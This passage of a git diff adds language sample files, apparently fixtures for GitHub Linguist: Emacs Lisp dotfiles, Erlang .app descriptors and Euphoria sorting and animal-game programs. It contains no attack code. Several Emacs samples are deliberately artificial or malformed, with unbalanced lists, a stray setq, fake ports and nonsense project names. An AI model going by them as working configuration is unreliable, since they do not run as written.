+}
+
+#elvdoc:fn uninstall
+#
+# ```elvish
+# epm:uninstall $pkg...
+# ```
+#
+# Uninstall named packages.
+
+# Uninstall is the same for everyone, just remove the directory
+fn uninstall {|@pkgs|
+  if (eq $pkgs []) {
+    -error 'You must specify at least one package.'
+    return
+  }
+  for pkg $pkgs {
+    -uninstall-package $pkg
+  }
+}
diff --git a/samples/Emacs Lisp/filenames/.abbrev_defs b/samples/Emacs Lisp/filenames/.abbrev_defs
new file mode 100644
index 0000000000..dc29dfde0f
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/.abbrev_defs	
@@ -0,0 +1,6 @@
+(define-abbrev-table 'c-mode-abbrev-table '(
+	))
+(define-abbrev-table 'fundamental-mode-abbrev-table '(
+	("TM" "™" nil 0)
+	("(R)" "®" nil 0)
+	("C=" "€" nil 0)))
diff --git a/samples/Emacs Lisp/filenames/.gnus b/samples/Emacs Lisp/filenames/.gnus
new file mode 100644
index 0000000000..bfd859dd6f
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/.gnus	
@@ -0,0 +1,20 @@
+(setq user-full-name "Alhadis")
+(setq user-mail-address "fake.account@gmail.com")
+
+(auto-image-file-mode)
+(setq mm-inline-large-images t)
+(add-to-list 'mm-attachment-override-types "image/*")
+
+(setq gnus-select-method 
+	  '(nnimap "gmail"
+		(nnimap-address "imap.gmail.com")
+		(nnimap-server-port 777)
+		(nnimap-stream ssl)))
+
+(setq message-send-mail-function 'smtpmail-send-it
+	  smtpmail-starttls-credentials '(("smtp.gmail.com" 600 nil nil))
+	  smtpmail-auth-credentials '(("smtp.gmail.com" 700 "me@lisp.com" nil))
+	  smtpmail-default-smtp-server "smtp.gmail.com"
+	  smtpmail-smtp-server "smtp.gmail.com"
+	  smtpmail-smtp-service 800
+	  setq gnus-ignored-from-addresses "^from\\.Telstra[ \t\r\n]+Thanks")
diff --git a/samples/Emacs Lisp/filenames/.spacemacs b/samples/Emacs Lisp/filenames/.spacemacs
new file mode 100644
index 0000000000..a646eba097
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/.spacemacs	
@@ -0,0 +1,197 @@
+;; -*- mode: emacs-lisp -*-
+;; This file is loaded by Spacemacs at startup.
+;; It must be stored in your home directory.
+
+(defun dotspacemacs/layers ()
+  "Configuration Layers declaration."
+  (setq-default
+   ;; List of additional paths where to look for configuration layers.
+   ;; Paths must have a trailing slash (i.e. `~/.mycontribs/')
+   dotspacemacs-configuration-layer-path '()
+   ;; List of configuration layers to load. If it is the symbol `all' instead
+   ;; of a list then all discovered layers will be installed.
+   dotspacemacs-configuration-layers
+   '(
+     ;; ----------------------------------------------------------------
+     ;; Example of useful layers you may want to use right away.
+     ;; Uncomment some layer names and press <SPC f e R> (Vim style) or
+     ;; <M-m f e R> (Emacs style) to install them.
+     ;; ----------------------------------------------------------------
+     emacs-lisp
+     charlock_holmes
+     escape_utils
+     mime-types
+     rugged
+     minitest
+     mocha
+     plist
+     pry
+     rake
+     yajl-ruby
+     colour-proximity
+     licensed
+     licensee
+   ;; List of additional packages that will be installed without being
+   ;; wrapped in a layer. If you need some configuration for these
+   ;; packages then consider to create a layer, you can also put the
+   ;; configuration in `dotspacemacs/config'.
+   dotspacemacs-additional-packages '()
+   ;; A list of packages and/or extensions that will not be install and loaded.
+   dotspacemacs-excluded-packages '()
+   ;; If non-nil spacemacs will delete any orphan packages, i.e. packages that
+   ;; are declared in a layer which is not a member of
+   ;; the list `dotspacemacs-configuration-layers'
+   dotspacemacs-delete-orphan-packages t))
+
+(defun dotspacemacs/init ()
+  "Initialization function.
+This function is called at the very startup of Spacemacs initialization
+before layers configuration."
+  ;; This setq-default sexp is an exhaustive list of all the supported
+  ;; spacemacs settings.
+  (setq-default
+   ;; Either `vim' or `emacs'. Evil is always enabled but if the variable
+   ;; is `emacs' then the `holy-mode' is enabled at startup.
+   dotspacemacs-editing-style 'vim
+   ;; If non nil output loading progress in `*Messages*' buffer.
+   dotspacemacs-verbose-loading nil
+   ;; Specify the startup banner. Default value is `official', it displays
+   ;; the official spacemacs logo. An integer value is the index of text
+   ;; banner, `random' chooses a random text banner in `core/banners'
+   ;; directory. A string value must be a path to an image format supported
+   ;; by your Emacs build.
+   ;; If the value is nil then no banner is displayed.
+   dotspacemacs-startup-banner 'official
+   ;; List of items to show in the startup buffer. If nil it is disabled.
+   ;; Possible values are: `recents' `bookmarks' `projects'."
+   dotspacemacs-startup-lists '(bookmarks projects recents)
+   ;; List of themes, the first of the list is loaded when spacemacs starts.
+   ;; Press <SPC> T n to cycle to the next theme in the list (works great
+   ;; with 2 themes variants, one dark and one light)
+   dotspacemacs-themes '(
+                         spacemacs-dark
+                         spacemacs-light
+                         solarized-dark
+                         solarized-light
+                         atom-light-ui
+                         atom-dark-ui
+                         atom-material-ui
+                         zenburn
+   ;; If non nil the cursor colour matches the state colour.
+   dotspacemacs-colorize-cursor-according-to-state t
+   ;; Default font. `powerline-scale' allows to quickly tweak the mode-line
+   ;; size to make separators look not too crappy.
+   dotspacemacs-default-font '("Menloco"
+                               :size 11
+                               :weight normal
+                               :width normal
+                               :powerline-scale 1.1)
+   ;; The leader key
+   dotspacemacs-leader-key "SPC"
+   ;; The leader key accessible in `emacs state' and `insert state'
+   dotspacemacs-emacs-leader-key "M-m"
+   ;; Major mode leader key is a shortcut key which is the equivalent of
+   ;; pressing `<leader> m`. Set it to `nil` to disable it.
+   dotspacemacs-major-mode-leader-key ","
+   ;; Major mode leader key accessible in `emacs state' and `insert state'
+   dotspacemacs-major-mode-emacs-leader-key "C-M-m"
+   ;; The command key used for Evil commands (ex-commands) and
+   ;; Emacs commands (M-x).
+   ;; By default the command key is `:' so ex-commands are executed like in Vim
+   ;; with `:' and Emacs commands are executed with `<leader> :'.
+   dotspacemacs-command-key ":"
+   ;; Location where to auto-save files. Possible values are `original' to
+   ;; auto-save the file in-place, `cache' to auto-save the file to another
+   ;; file stored in the cache directory and `nil' to disable auto-saving.
+   ;; Default value is `cache'.
+   dotspacemacs-auto-save-file-location 'cache
+   ;; If non nil then `ido' replaces `helm' for some commands. For now only
+   ;; `find-files' (SPC f f) is replaced.
+   dotspacemacs-use-ido nil
+   ;; If non nil the paste micro-state is enabled. When enabled pressing `p`
+   ;; several times cycle between the kill ring content.
+   dotspacemacs-enable-paste-micro-state nil
+   ;; Guide-key delay in seconds. The Guide-key is the popup buffer listing
+   ;; the commands bound to the current keystrokes.
+   dotspacemacs-guide-key-delay 0.4
+   ;; If non nil a progress bar is displayed when spacemacs is loading. This
+   ;; may increase the boot time on some systems and emacs builds, set it to
+   ;; nil ;; to boost the loading time.
+   dotspacemacs-loading-progress-bar t
+   ;; If non nil the frame is fullscreen when Emacs starts up.
+   ;; (Emacs 24.4+ only)
+   dotspacemacs-fullscreen-at-startup nil
+   ;; If non nil `spacemacs/toggle-fullscreen' will not use native fullscreen.
+   ;; Use to disable fullscreen animations in OSX."
+   dotspacemacs-fullscreen-use-non-native nil
+   ;; If non nil the frame is maximized when Emacs starts up.
+   ;; Takes effect only if `dotspacemacs-fullscreen-at-startup' is nil.
+   ;; (Emacs 24.4+ only)
+   dotspacemacs-maximized-at-startup nil
+   ;; A value from the range (0..100), in increasing opacity, which describes
+   ;; the transparency level of a frame when it's active or selected.
+   ;; Transparency can be toggled through `toggle-transparency'.
+   dotspacemacs-active-transparency 90
+   ;; A value from the range (0..100), in increasing opacity, which describes
+   ;; the transparency level of a frame when it's inactive or deselected.
+   ;; Transparency can be toggled through `toggle-transparency'.
+   dotspacemacs-inactive-transparency 90
+   ;; If non nil unicode symbols are displayed in the mode line.
+   dotspacemacs-mode-line-unicode-symbols t
+   ;; If non nil smooth scrolling (native-scrolling) is enabled. Smooth
+   ;; scrolling overrides the default behavior of Emacs which recenters the
+   ;; point when it reaches the top or bottom of the screen.
+   dotspacemacs-smooth-scrolling t
+   ;; If non-nil smartparens-strict-mode will be enabled in programming modes.
+   dotspacemacs-smartparens-strict-mode nil
+   ;; Select a scope to highlight delimiters. Possible value is `all',
+   ;; `current' or `nil'. Default is `all'
+   dotspacemacs-highlight-delimiters 'all
+   ;; If non nil advises quit functions to keep server open when quitting.
+   dotspacemacs-persistent-server nil
+   ;; List of search tool executable names. Spacemacs uses the first installed
+   ;; tool of the list. Supported tools are `ag', `pt', `ack' and `grep'.
+   dotspacemacs-search-tools '("ag" "pt" "ack" "grep")
+   ;; The default package repository used if no explicit repository has been
+   ;; specified with an installed package.
+   ;; Not used for now.
+   dotspacemacs-default-package-repository nil
+
+   ;; If non nil line numbers are turned on in all `prog-mode' and `text-mode'
+   ;; derivatives. If set to `relative', also turns on relative line numbers.
+   ;; (default nil)
+   dotspacemacs-line-numbers 'relative
+
+   ;; Delete whitespace while saving buffer. Possible values are `all',
+   ;; `trailing', `changed' or `nil'. Default is `changed' (cleanup whitespace
+   ;; on changed lines) (default 'changed)
+   dotspacemacs-whitespace-cleanup 'changed
+   )
+  ;; User initialization goes here
+  )
+
+(defun dotspacemacs/user-config ()
+  "Configuration function.
+ This function is called at the very end of Spacemacs initialization after
+layers configuration."
+  (add-hook 'alchemist-mode-hook 'company-mode)
+
+  (add-hook 'projectile-mode-hook 'projectile-rails-on)
+  (setq ruby-insert-encoding-magic-comment nil)
+
+  (setq web-mode-markup-indent-offset 2)
+  (setq web-mode-code-indent-offset 2)
+
+  (spacemacs/toggle-golden-ratio-on)
+  (spacemacs/toggle-indent-guide-globally-on)
+  (spacemacs/toggle-centered-point-globally-on)
+)
+
+;; Do not write anything past this comment. This is where Emacs will
+;; auto-generate custom variable definitions.
+(custom-set-variables
+ ;; custom-set-variables was added by Custom.
+ ;; If you edit it by hand, you could mess it up, so be careful.
+ ;; Your init file should contain only one such instance.
+ ;; If there is more than one, they won't work right.
+)
diff --git a/samples/Emacs Lisp/filenames/.viper b/samples/Emacs Lisp/filenames/.viper
new file mode 100644
index 0000000000..c3eeb65882
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/.viper	
@@ -0,0 +1,10 @@
+(setq viper-inhibit-startup-message 't)
+(setq viper-expert-level '5)
+
+; Key bindings
+(define-key viper-vi-global-user-map "\C-d" 'end-of-line)
+
+; Return to top of window
+(defun my-viper-return-to-top ()
+  (interactive)
+  (beginning-of-buffer))
diff --git a/samples/Emacs Lisp/filenames/Cask b/samples/Emacs Lisp/filenames/Cask
new file mode 100644
index 0000000000..410a2d600e
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/Cask	
@@ -0,0 +1,9 @@
+(package "composer" "0.0.7" "Interface to PHP Composer")
+(source "melpa" "https://melpa.org/packages/")
+
+(package-file "composer.el")
+
+(depends-on "f")
+(depends-on "s")
+(depends-on "request")
+(depends-on "seq")
diff --git a/samples/Emacs Lisp/filenames/Project.ede b/samples/Emacs Lisp/filenames/Project.ede
new file mode 100644
index 0000000000..36a0c8bd83
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/Project.ede	
@@ -0,0 +1,34 @@
+;; Object EDE
+(ede-proj-project "Linguist"
+  :name "Linguist"
+  :version "4.9"
+  :file "Project.ede"
+  :targets (list 
+   (ede-proj-target-elisp-autoloads "autoloads"
+    :name "autoloads"
+    :path "test/samples/Emacs Lisp"
+    :autoload-file "dude.el"
+    )
+   (ede-proj-target-elisp "init"
+    :name "init"
+    :path ""
+    :source '("ede-load.el" "wait-what.el")
+    :compiler 'ede-emacs-preload-compiler
+    :pre-load-packages '("sample-names")
+    )
+   (ede-proj-target-elisp "what"
+    :name "the"
+    :path ""
+    :source '("h.el" "am-i-writing.el")
+    :versionsource '("hell.el")
+    :compiler 'ede-emacs-preload-compiler
+    :aux-packages '("what" "the" "hell-files" "am-i-writing")
+    )
+   )
+  :web-site-url "https://github.com/github/linguist"
+  :web-site-directory "../"
+  :web-site-file "CONTRIBUTING.md"
+  :ftp-upload-site "/ftp@git.hub.com:/madeup"
+  :configuration-variables 'nil
+  :metasubproject 't
+  )
diff --git a/samples/Emacs Lisp/filenames/_emacs b/samples/Emacs Lisp/filenames/_emacs
new file mode 100644
index 0000000000..4968f8ebda
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/_emacs	
@@ -0,0 +1,70 @@
+;; UTF-8 support
+;; (set-language-environment "UTF-8")
+(setenv "LANG" "en_AU.UTF-8")
+(setenv "LC_ALL" "en_AU.UTF-8")
+(setq default-tab-width 4)
+
+
+;;; Function to load all ".el" files in ~/.emacs.d/config
+(defun load-directory (directory)
+  "Recursively load all Emacs Lisp files in a directory."
+  (dolist (element (directory-files-and-attributes directory nil nil nil))
+    (let* ((path (car element))
+           (fullpath (concat directory "/" path))
+           (isdir (car (cdr element)))
+           (ignore-dir (or (string= path ".") (string= path ".."))))
+      (cond
+       ((and (eq isdir t) (not ignore-dir))
+        (load-directory fullpath))
+       ((and (eq isdir nil) (string= (substring path -3) ".el"))
+        (load (file-name-sans-extension fullpath)))))))
+
+;; Tell Emacs we'd like to use Hunspell for spell-checking
+(setq ispell-program-name (executable-find "hunspell"))
+
+;; Load Homebrew-installed packages
+(let ((default-directory "/usr/local/share/emacs/site-lisp/"))
+  (normal-top-level-add-subdirs-to-load-path))
+(load "aggressive-indent")
+(add-hook 'emacs-lisp-mode-hook #'aggressive-indent-mode)
+(autoload 'rust-mode "rust-mode" nil t)
+(add-to-list 'auto-mode-alist '("\\.rs\\'" . rust-mode))
+
+;; Load Git-related syntax highlighting
+(add-to-list 'load-path "~/.emacs.d/lisp/")
+(load "git-modes")
+(load "git-commit")
+
+;; Keybindings
+(global-set-key (kbd "C-u") (lambda ()
+                             (interactive)
+                             (kill-line 0)))
+
+;; Show cursor's current column number
+(setq column-number-mode t)
+
+;; Disable autosave
+(setq auto-save-default nil)
+
+;; Use a single directory for storing backup files
+(setq backup-directory-alist `(("." . "~/.emacs.d/auto-save-list")))
+(setq backup-by-copying t)
+(setq delete-old-versions t
+      kept-new-versions 6
+      kept-old-versions 2
+      version-control t)
+
+(custom-set-variables
+ ;; custom-set-variables was added by Custom.
+ ;; If you edit it by hand, you could mess it up, so be careful.
+ ;; Your init file should contain only one such instance.
+ ;; If there is more than one, they won't work right.
+ '(blink-cursor-mode nil)
+ '(column-number-mode t)
+ '(show-paren-mode t))
+(custom-set-faces
+ ;; custom-set-faces was added by Custom.
+ ;; If you edit it by hand, you could mess it up, so be careful.
+ ;; Your init file should contain only one such instance.
+ ;; If there is more than one, they won't work right.
+ )
diff --git a/samples/Emacs Lisp/filenames/abbrev_defs b/samples/Emacs Lisp/filenames/abbrev_defs
new file mode 100644
index 0000000000..87dfad8c6f
--- /dev/null
+++ b/samples/Emacs Lisp/filenames/abbrev_defs	
@@ -0,0 +1,8 @@
+(define-abbrev-table 'fundamental-mode-abbrev-table '(
+	("cat" "Concatenate" nil 0)
+	("WTF" "World Trade Federation " nil 0)
+	("rtbtm" "Read that back to me" nil 0)))
+
+(define-abbrev-table 'shell-script-mode-abbrev-table '(
+	("brake", "bundle rake exec" nil 0)
+	("pls", "warning: setting Encoding.default_external")))
diff --git a/samples/Erlang/compiler.app b/samples/Erlang/compiler.app
new file mode 100644
index 0000000000..3b7ed23365
--- /dev/null
+++ b/samples/Erlang/compiler.app
@@ -0,0 +1,85 @@
+% This is an -*- erlang -*- file.
+%% %CopyrightBegin%
+%%
+%% Copyright Ericsson AB 1997-2022. All Rights Reserved.
+%%
+%% Licensed under the Apache License, Version 2.0 (the "License");
+%% you may not use this file except in compliance with the License.
+%% You may obtain a copy of the License at
+%%
+%%     http://www.apache.org/licenses/LICENSE-2.0
+%%
+%% Unless required by applicable law or agreed to in writing, software
+%% distributed under the License is distributed on an "AS IS" BASIS,
+%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+%% See the License for the specific language governing permissions and
+%% limitations under the License.
+%%
+%% %CopyrightEnd%
+
+{application, compiler,
+    [{description, "ERTS  CXC 138 10"},
+        {vsn, "8.2.2"},
+        {modules, [
+            beam_a,
+            beam_asm,
+            beam_bounds,
+            beam_block,
+            beam_call_types,
+            beam_clean,
+            beam_dict,
+            beam_digraph,
+            beam_disasm,
+            beam_flatten,
+            beam_jump,
+            beam_kernel_to_ssa,
+            beam_listing,
+            beam_opcodes,
+            beam_ssa,
+            beam_ssa_bc_size,
+            beam_ssa_bool,
+            beam_ssa_bsm,
+            beam_ssa_codegen,
+            beam_ssa_dead,
+            beam_ssa_lint,
+            beam_ssa_opt,
+            beam_ssa_pp,
+            beam_ssa_pre_codegen,
+            beam_ssa_recv,
+            beam_ssa_share,
+            beam_ssa_throw,
+            beam_ssa_type,
+            beam_trim,
+            beam_types,
+            beam_utils,
+            beam_validator,
+            beam_z,
+            cerl,
+            cerl_clauses,
+            cerl_inline,
+            cerl_trees,
+            compile,
+            core_scan,
+            core_lint,
+            core_parse,
+            core_pp,
+            core_lib,
+            erl_bifs,
+            rec_env,
+            sys_core_alias,
+            sys_core_bsm,
+            sys_core_fold,
+            sys_core_fold_lists,
+            sys_core_inline,
+            sys_core_prepare,
+            sys_messages,
+            sys_pre_attributes,
+            v3_core,
+            v3_kernel,
+            v3_kernel_pp
+        ]},
+        {registered, []},
+        {applications, [kernel, stdlib]},
+        {env, []},
+        {runtime_dependencies, ["stdlib-4.0","kernel-8.4","erts-13.0",
+"crypto-5.1"]}]}.
diff --git a/samples/Erlang/filenames/Emakefile b/samples/Erlang/filenames/Emakefile
new file mode 100644
index 0000000000..65e3fde4b5
--- /dev/null
+++ b/samples/Erlang/filenames/Emakefile
@@ -0,0 +1,7 @@
+{"src/*", [
+   report, 
+   verbose, 
+   {i, "include"}, 
+   {outdir, "ebin"},
+   debug_info 
+]}.
diff --git a/samples/Erlang/kernel.app b/samples/Erlang/kernel.app
new file mode 100644
index 0000000000..c29716370d
--- /dev/null
+++ b/samples/Erlang/kernel.app
@@ -0,0 +1,164 @@
+%%
+%% %CopyrightBegin%
+%%
+%% Copyright Ericsson AB 1996-2022. All Rights Reserved.
+%%
+%% Licensed under the Apache License, Version 2.0 (the "License");
+%% you may not use this file except in compliance with the License.
+%% You may obtain a copy of the License at
+%%
+%%     http://www.apache.org/licenses/LICENSE-2.0
+%%
+%% Unless required by applicable law or agreed to in writing, software
+%% distributed under the License is distributed on an "AS IS" BASIS,
+%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+%% See the License for the specific language governing permissions and
+%% limitations under the License.
+%%
+%% %CopyrightEnd%
+%%
+%% This is an -*- erlang -*- file.
+%%
+{application, kernel,
+    [
+        {description, "ERTS  CXC 138 10"},
+        {vsn, "8.5.2"},
+        {modules, [application,
+            application_controller,
+            application_master,
+            application_starter,
+            auth,
+            code,
+            code_server,
+            dist_util,
+            erl_boot_server,
+            erl_compile_server,
+            erl_distribution,
+            erl_erts_errors,
+            erl_reply,
+            erl_kernel_errors,
+            erl_signal_handler,
+            erpc,
+            error_handler,
+            error_logger,
+            file,
+            file_server,
+            file_io_server,
+            global,
+            global_group,
+            global_search,
+            group,
+            group_history,
+            heart,
+            inet6_tcp,
+            inet6_tcp_dist,
+            inet6_udp,
+            inet6_sctp,
+            inet_config,
+            inet_hosts,
+            inet_gethost_native,
+            inet_tcp_dist,
+            kernel,
+            kernel_config,
+            kernel_refc,
+            local_tcp,
+            local_udp,
+            logger,
+            logger_backend,
+            logger_config,
+            logger_disk_log_h,
+            logger_filters,
+            logger_formatter,
+            logger_h_common,
+            logger_handler_watcher,
+            logger_olp,
+            logger_proxy,
+            logger_server,
+            logger_simple_h,
+            logger_std_h,
+            logger_sup,
+            net,
+            net_adm,
+            net_kernel,
+            os,
+            ram_file,
+            rpc,
+            user_drv,
+            user_sup,
+            prim_tty,
+            disk_log,
+            disk_log_1,
+            disk_log_server,
+            disk_log_sup,
+            dist_ac,
+            erl_ddll,
+            erl_epmd,
+            erts_debug,
+            gen_tcp,
+            gen_tcp_socket,
+            gen_udp,
+            gen_udp_socket,
+            gen_sctp,
+            inet,
+            inet_db,
+            inet_dns,
+            inet_parse,
+            inet_res,
+            inet_tcp,
+            inet_udp,
+            inet_sctp,
+            pg,
+            pg2,
+            raw_file_io,
+            raw_file_io_compressed,
+            raw_file_io_deflate,
+            raw_file_io_delayed,
+            raw_file_io_inflate,
+            raw_file_io_list,
+            seq_trace,
+            socket,
+            standard_error,
+            wrap_log_reader]},
+        {registered, [application_controller,
+            erl_reply,
+            auth,
+            boot_server,
+            code_server,
+            disk_log_server,
+            disk_log_sup,
+            erl_prim_loader,
+            error_logger,
+            file_server_2,
+            fixtable_server,
+            global_group,
+            global_name_server,
+            heart,
+            init,
+            kernel_config,
+            kernel_refc,
+            kernel_sup,
+            logger,
+            logger_handler_watcher,
+            logger_sup,
+            net_kernel,
+            net_sup,
+            rex,
+            user,
+            os_server,
+            ddll_server,
+            erl_epmd,
+            inet_db,
+            pg]},
+        {applications, []},
+        {env, [{logger_level, notice},
+            {logger_sasl_compatible, false},
+            {net_tickintensity, 4},
+            {net_ticktime, 60},
+            {prevent_overlapping_partitions, true},
+            {shell_docs_ansi,auto}
+        ]},
+        {mod, {kernel, []}},
+        {runtime_dependencies, ["erts-@OTP-18248@", "stdlib-@OTP-17932@",
+"sasl-3.0", "crypto-5.0"]}
+]
+}.
diff --git a/samples/Euphoria/allsorts.ex b/samples/Euphoria/allsorts.ex
new file mode 100644
index 0000000000..4252774727
--- /dev/null
+++ b/samples/Euphoria/allsorts.ex
@@ -0,0 +1,374 @@
+--****
+-- === allsorts.ex
+-- Comparison of different sorting algorithms.
+
+without type_check
+
+include std/machine.e
+include std/math.e
+include std/console.e
+include std/error.e
+
+set_rand(9999)
+
+constant MAX = 50000
+constant TRUE = 1, FALSE = 0
+
+constant CHECK_RESULTS = TRUE
+
+integer hybrid_limit
+integer iterations
+sequence data
+sequence expected
+
+file_number printer
+
+type natural(integer x)
+	return x >= 0
+end type
+
+type file_number(integer x)
+	return x >= - 1
+end type
+
+function simple_sort(sequence x)
+	-- put x into ascending order
+	-- using a very simple sort
+	object temp
+	
+	for i = 1 to length(x) - 1 do
+		for j = i + 1 to length(x) do
+			if compare(x[j], x[i]) < 0 then
+				temp = x[j]
+				x[j] = x[i]
+				x[i] = temp
+			end if
+		end for
+	end for
+	return x
+end function
+
+function bubble_sort(sequence x)
+	-- put x into ascending order
+	-- using bubble sort
+	object temp
+	natural flip, limit
+	
+	flip = length(x)
+	while flip > 0 do
+		limit = flip
+		flip = 0
+		for i = 1 to limit - 1 do
+			if compare(x[i + 1], x[i]) < 0 then
+				temp = x[i + 1]
+				x[i + 1] = x[i]
+				x[i] = temp
+				flip = i
+			end if
+		end for
+	end while
+	return x
+end function
+
+function insertion_sort(sequence x)
+	-- put x into ascending order
+	-- using insertion sort
+	object temp
+	natural final
+	
+	for i = 2 to length(x) do
+		temp = x[i]
+		final = 1
+		for j = i - 1 to 1 by - 1 do
+			if compare(temp, x[j]) < 0 then
+				x[j + 1] = x[j]
+			else
+				final = j + 1
+				exit
+			end if
+		end for
+		x[final] = temp
+	end for
+	return x
+end function
+
+function shell_sort(sequence x)
+	-- Shell sort based on insertion sort
+	
+	integer gap, j, first, last
+	object tempi, tempj
+	
+	last = length(x)
+	gap = floor(last / 10) + 1
+	while TRUE do
+		first = gap + 1
+		for i = first to last do
+			tempi = x[i]
+			j = i - gap
+			while TRUE do
+				tempj = x[j]
+				if compare(tempi, tempj) >= 0 then
+					j += gap
+					exit
+				end if
+				x[j + gap] = tempj
+				if j <= gap then
+					exit
+				end if
+				j -= gap
+			end while
+			x[j] = tempi
+		end for
+		if gap = 1 then
+			return x
+		else
+			gap = floor(gap / 3.5) + 1
+		end if
+	end while
+end function
+
+global function quick_sort(sequence x)
+	-- put x into ascending order
+	-- using recursive quick sort
+	natural n, last, mid
+	object temp, midval
+	
+	n = length(x)
+	if n < 2 then
+		return x -- already sorted (trivial case)
+	end if
+	
+	mid = floor((n + 1) / 2)
+	midval = x[mid]
+	x[mid] = x[1]
+	
+	last = 1
+	for i = 2 to n do
+		if compare(x[i], midval) < 0 then
+			last += 1
+			temp = x[last]x[last] = x[i]x[i] = temp
+		end if
+	end for
+	
+	return quick_sort(x[2 .. last]) & { midval } & quick_sort(x[last + 1 .. n])
+end function
+
+global function hybrid_sort(sequence x)
+	-- put x into ascending order
+	-- using recursive quick sort
+	-- but call insertion sort for short sequences
+	natural n, last, mid
+	object midval, temp
+	
+	n = length(x)
+	if n < hybrid_limit then
+		return insertion_sort(x)
+	end if
+	
+	mid = floor((n + 1) / 2)
+	midval = x[mid]
+	x[mid] = x[1]
+	
+	last = 1
+	for i = 2 to n do
+		if compare(x[i], midval) < 0 then
+			last += 1
+			temp = x[last]x[last] = x[i]x[i] = temp
+		end if
+	end for
+	
+	return hybrid_sort(x[2 .. last]) & { midval } & hybrid_sort(x[last + 1 .. n])
+end function
+
+sequence x
+
+procedure g_insertion_sort()
+	-- put global variable x into ascending order
+	-- using insertion sort of general objects
+	object temp
+	natural final
+	
+	for i = 2 to length(x) do
+		temp = x[i]
+		final = 1
+		for j = i - 1 to 1 by - 1 do
+			if compare(temp, x[j]) < 0 then
+				x[j + 1] = x[j]
+			else
+				final = j + 1
+				exit
+			end if
+		end for
+		x[final] = temp
+	end for
+end procedure
+
+procedure best_sort(natural m, natural n)
+	-- put x[m..n] into (roughly) ascending order
+	-- using recursive quick sort 
+	natural last, mid
+	object midval, temp
+	
+	if n - m < hybrid_limit then
+		return
+	end if
+	mid = floor((m + n) / 2)
+	midval = x[mid]
+	x[mid] = x[m]
+	
+	last = m
+	for i = m + 1 to n do
+		if compare(x[i], midval) < 0 then
+			last += 1
+			temp = x[last]x[last] = x[i]x[i] = temp
+		end if
+	end for
+	x[m] = x[last]
+	x[last] = midval
+	best_sort(m, last - 1)
+	best_sort(last + 1, n)
+end procedure
+
+global function great_sort(sequence a)
+	-- Avoids dynamic storage allocation - just passes indexes into
+	-- a global sequence.
+	-- Not much better than hybrid_sort which makes full use of dynamic
+	-- storage allocation.
+	-- Note that we only partition down to a certain degree, then do an
+	-- insertion sort which runs fast because things are roughly in order.
+	-- See Knuth for the details.
+	x = a
+	best_sort(1, length(x))
+	g_insertion_sort()
+	return x
+end function
+
+global function merge_sort(sequence x)
+	-- put x into ascending order
+	-- using recursive merge sort
+	natural n, mid
+	sequence merged, a, b
+	
+	n = length(x)
+	if n < 2 then
+		return x
+	end if
+	
+	mid = floor(n / 2)
+	a = merge_sort(x[1 .. mid]) -- sort the first half
+	b = merge_sort(x[mid + 1 .. n]) -- sort the second half
+	
+	-- merge the two sorted halves into one
+	merged = {}
+	while length(a) > 0 and length(b) > 0 do
+		if compare(a[1], b[1]) < 0 then
+			merged = append(merged, a[1])
+			a = a[2 .. length(a)]
+		else
+			merged = append(merged, b[1])
+			b = b[2 .. length(b)]
+		end if
+	end while
+	return merged & a & b -- merged data plus leftovers
+end function
+
+integer min_value, max_value -- for bucket sort
+
+function bucket_sort(sequence s)
+	-- Sort s into ascending order. No elements are compared.
+	-- The values of s must be integers from min_value to max_value.
+	sequence count, sorted
+	integer value, k, offset, c
+	
+	count = repeat(0, max_value - min_value + 1)
+	offset = min_value - 1
+	-- count the number of occurrences of each integer value:
+	for i = 1 to length(s) do
+		value = s[i] - offset
+		count[value] += 1
+	end for
+	sorted = repeat(0, length(s))
+	k = 1
+	-- make the resulting sorted sequence
+	for i = 1 to length(count) do
+		c = count[i]
+		if c then
+			sorted[k .. k + c - 1] = i + offset
+			k += c
+		end if
+	end for
+	return sorted
+end function
+
+procedure check_results(sequence sdata, integer iter, sequence sname)
+	-- compare results with another sort to make sure they are correct
+	if CHECK_RESULTS then
+		if not equal(sdata, expected[iter]) then
+			crash("Output from %s is invalid", { sname })
+		end if
+	end if
+end procedure
+
+procedure measure(sequence name)
+	-- time one sort    
+	integer id
+	atom t0, t
+	sequence sdata
+	integer cntr
+	integer i
+	
+	id = routine_id(name)
+	t0 = time() + 1
+	cntr = 0
+	i = 0
+	while t0 > time() do
+		i += 1
+		if i > length(data) then
+			i = 1
+		end if
+		sdata = call_func(id, { data[i] })
+		
+		check_results(sdata, i, name)
+		cntr += 1
+	end while
+	t = time() - t0
+	printf(printer, "%15s %9d\n", { name, cntr })
+end procedure
+
+procedure all_sorts()
+	-- test all sorting routines over a range of numbers of items
+	
+	natural nitems
+	
+	printer = 1 -- open("PRN", "w")
+	hybrid_limit = 20
+	
+	nitems = 500
+	iterations = floor(MAX / nitems)
+	
+	-- get several sets of data of length nitems
+	printf(printer, "\nNumber of completed sorts for %d items\n", nitems)
+	
+	data = rand(repeat(repeat(100, nitems), 17))
+	expected = data
+	for i = 1 to length(data) do
+		expected[i] = shell_sort(expected[i])
+	end for
+	
+	min_value = 1
+	max_value = 100
+	
+	measure("bubble_sort")
+	measure("simple_sort")
+	measure("insertion_sort")
+	measure("merge_sort")
+	measure("quick_sort")
+	measure("hybrid_sort")
+	measure("great_sort")
+	measure("shell_sort")
+	measure("bucket_sort")
+	
+end procedure
+
+all_sorts()
+
diff --git a/samples/Euphoria/animal.ex b/samples/Euphoria/animal.ex
new file mode 100644
index 0000000000..6d5cf19d2f
--- /dev/null
+++ b/samples/Euphoria/animal.ex
@@ -0,0 +1,110 @@
+--****
+-- === animal.ex
+-- Guess the Animal game. It learns as you play.
+
+constant
+	node_type = 1,
+	DESCRIPTION = 1,
+	ANIMAL = 2,
+	question = 2,
+	when_true = 3,
+	when_false = 4
+
+constant
+	TRUE = 1,
+	FALSE = 0
+
+constant KEYBOARD = 0, SCREEN = 1
+
+object database, p, prev_p, prev_answer
+
+function Yes() -- returns TRUE if the answer is yes
+	object answer
+	
+	answer = '?'
+	while answer = '?' do
+		answer = gets(KEYBOARD)
+		if length(answer) > 0 then
+			if answer[1] = 'y' or answer[1] = 'Y' then
